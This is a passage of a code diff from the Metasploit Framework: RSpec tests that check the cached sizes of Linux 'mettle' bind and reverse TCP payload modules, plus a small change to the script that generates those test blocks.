|
||||
ancestor_reference_names: [
|
||||
'stagers/linux/mipsle/reverse_tcp',
|
||||
'stages/linux/mipsle/mettle'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'linux/mipsle/mettle/reverse_tcp'
|
||||
end
|
||||
|
||||
context 'linux/x64/mettle/bind_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/linux/x64/bind_tcp',
|
||||
'stages/linux/x64/mettle'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'linux/x64/mettle/bind_tcp'
|
||||
end
|
||||
|
||||
context 'linux/x64/mettle/reverse_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/linux/x64/reverse_tcp',
|
||||
'stages/linux/x64/mettle'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'linux/x64/mettle/reverse_tcp'
|
||||
end
|
||||
|
||||
context 'linux/x86/mettle/bind_ipv6_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/linux/x86/bind_ipv6_tcp',
|
||||
'stages/linux/x86/mettle'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'linux/x86/mettle/bind_ipv6_tcp'
|
||||
end
|
||||
|
||||
context 'linux/x86/mettle/bind_ipv6_tcp_uuid' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/linux/x86/bind_ipv6_tcp_uuid',
|
||||
'stages/linux/x86/mettle'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'linux/x86/mettle/bind_ipv6_tcp_uuid'
|
||||
end
|
||||
|
||||
context 'linux/x86/mettle/bind_nonx_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/linux/x86/bind_nonx_tcp',
|
||||
'stages/linux/x86/mettle'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'linux/x86/mettle/bind_nonx_tcp'
|
||||
end
|
||||
|
||||
context 'linux/x86/mettle/bind_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/linux/x86/bind_tcp',
|
||||
'stages/linux/x86/mettle'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'linux/x86/mettle/bind_tcp'
|
||||
end
|
||||
|
||||
context 'linux/x86/mettle/bind_tcp_uuid' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/linux/x86/bind_tcp_uuid',
|
||||
'stages/linux/x86/mettle'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'linux/x86/mettle/bind_tcp_uuid'
|
||||
end
|
||||
|
||||
context 'linux/x86/mettle/find_tag' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/linux/x86/find_tag',
|
||||
'stages/linux/x86/mettle'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'linux/x86/mettle/find_tag'
|
||||
end
|
||||
|
||||
context 'linux/x86/mettle/reverse_ipv6_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/linux/x86/reverse_ipv6_tcp',
|
||||
'stages/linux/x86/mettle'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'linux/x86/mettle/reverse_ipv6_tcp'
|
||||
end
|
||||
|
||||
context 'linux/x86/mettle/reverse_nonx_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/linux/x86/reverse_nonx_tcp',
|
||||
'stages/linux/x86/mettle'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'linux/x86/mettle/reverse_nonx_tcp'
|
||||
end
|
||||
|
||||
context 'linux/x86/mettle/reverse_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/linux/x86/reverse_tcp',
|
||||
'stages/linux/x86/mettle'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'linux/x86/mettle/reverse_tcp'
|
||||
end
|
||||
|
||||
context 'linux/x86/mettle/reverse_tcp_uuid' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/linux/x86/reverse_tcp_uuid',
|
||||
'stages/linux/x86/mettle'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'linux/x86/mettle/reverse_tcp_uuid'
|
||||
end
|
||||
end
|
||||
|
|
|
@ -28,7 +28,7 @@ framework.payloads.each { |reference_name, payload_class|
|
|||
}
|
||||
ancestor_reference_names = module_ancestors.map { |module_ancestor|
|
||||
unpacked_module_ancestor_full_name = module_ancestor.name.sub(/^Msf::Modules::Mod/, '')
|
||||
.sub(/::Metasploit\d+/, '')
|
||||
.sub(/::MetasploitModule/, '')
|
||||
module_ancestor_full_name = [unpacked_module_ancestor_full_name].pack("H*")
|
||||
module_ancestor_full_name.sub(%r{^payload/}, '')
|
||||
}
|
||||
|
@ -59,21 +59,21 @@ File.open('log/untested-payloads.log') { |f|
|
|||
unless tested_options.include? options
|
||||
reference_name = options[:reference_name]
|
||||
|
||||
$stderr.puts
|
||||
$stderr.puts " context '#{reference_name}' do\n" \
|
||||
$stdout.puts
|
||||
$stdout.puts " context '#{reference_name}' do\n" \
|
||||
" it_should_behave_like 'payload cached size is consistent',\n" \
|
||||
" ancestor_reference_names: ["
|
||||
|
||||
ancestor_reference_names = options[:ancestor_reference_names]
|
||||
|
||||
if ancestor_reference_names.length == 1
|
||||
$stderr.puts " '#{ancestor_reference_names[0]}'"
|
||||
$stdout.puts " '#{ancestor_reference_names[0]}'"
|
||||
else
|
||||
$stderr.puts " '#{ancestor_reference_names[1]}',"
|
||||
$stderr.puts " '#{ancestor_reference_names[0]}'"
|
||||
$stdout.puts " '#{ancestor_reference_names[1]}',"
|
||||
$stdout.puts " '#{ancestor_reference_names[0]}'"
|
||||
end
|
||||
|
||||
$stderr.puts " ],\n" \
|
||||
$stdout.puts " ],\n" \
|
||||
" dynamic_size: false,\n" \
|
||||
" modules_pathname: modules_pathname,\n" \
|
||||
" reference_name: '#{reference_name}'\n" \
|
||||
|
|
Loading…
Reference in New Issue